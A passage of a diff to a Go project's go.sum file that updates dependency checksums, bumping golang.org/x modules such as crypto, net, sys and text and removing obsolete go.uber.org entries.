h1:Hg6pPujv0XG9QaVbGOBVHunyuLcCC3jN7WEhPx83XD0= -go.opentelemetry.io/otel/trace v1.22.0/go.mod h1:RbbHXVqKES9QhzZq/fE5UnOSILqRt40a21sPw2He1xo= -go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI= +go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU= go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU= go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc= -go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0= go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk= -go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= -go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= goftp.io/server/v2 v2.0.1 h1:H+9UbCX2N206ePDSVNCjBftOKOgil6kQ5RAQNx5hJwE= @@ -1386,7 +1206,6 @@ golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUu golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= @@ -1411,8 +1230,9 @@ golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= -golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= +golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= +golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -1423,8 +1243,8 @@ golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u0 golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM= -golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc= +golang.org/x/exp v0.0.0-20240613232115-7f521ea00fb8 h1:yixxcjnhBmY0nkL253HFVIm0JsFHwrHdT3Yh6szTnfY= +golang.org/x/exp v0.0.0-20240613232115-7f521ea00fb8/go.mod h1:jj3sYF3dwk5D+ghuXyeI3r5MFf+NT2An6/9dOA95KSI= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -1447,18 +1267,14 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= -golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= +golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -1470,7 +1286,6 @@ golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -1497,7 +1312,6 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= @@ -1507,8 +1321,9 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= +golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys= +golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1518,8 +1333,8 @@ golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= -golang.org/x/oauth2 v0.20.0 h1:4mQdhULixXKP1rwYBW0vAijoXnkTG0BLCDRzfe1idMo= -golang.org/x/oauth2 v0.20.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= +golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1536,14 +1351,10 @@ golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1553,14 +1364,12 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191220142924-d4481acd189f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1591,12 +1400,10 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -1604,14 +1411,13 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= +golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= @@ -1624,8 +1430,9 @@ golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58= -golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= +golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk= +golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1634,23 +1441,20 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools 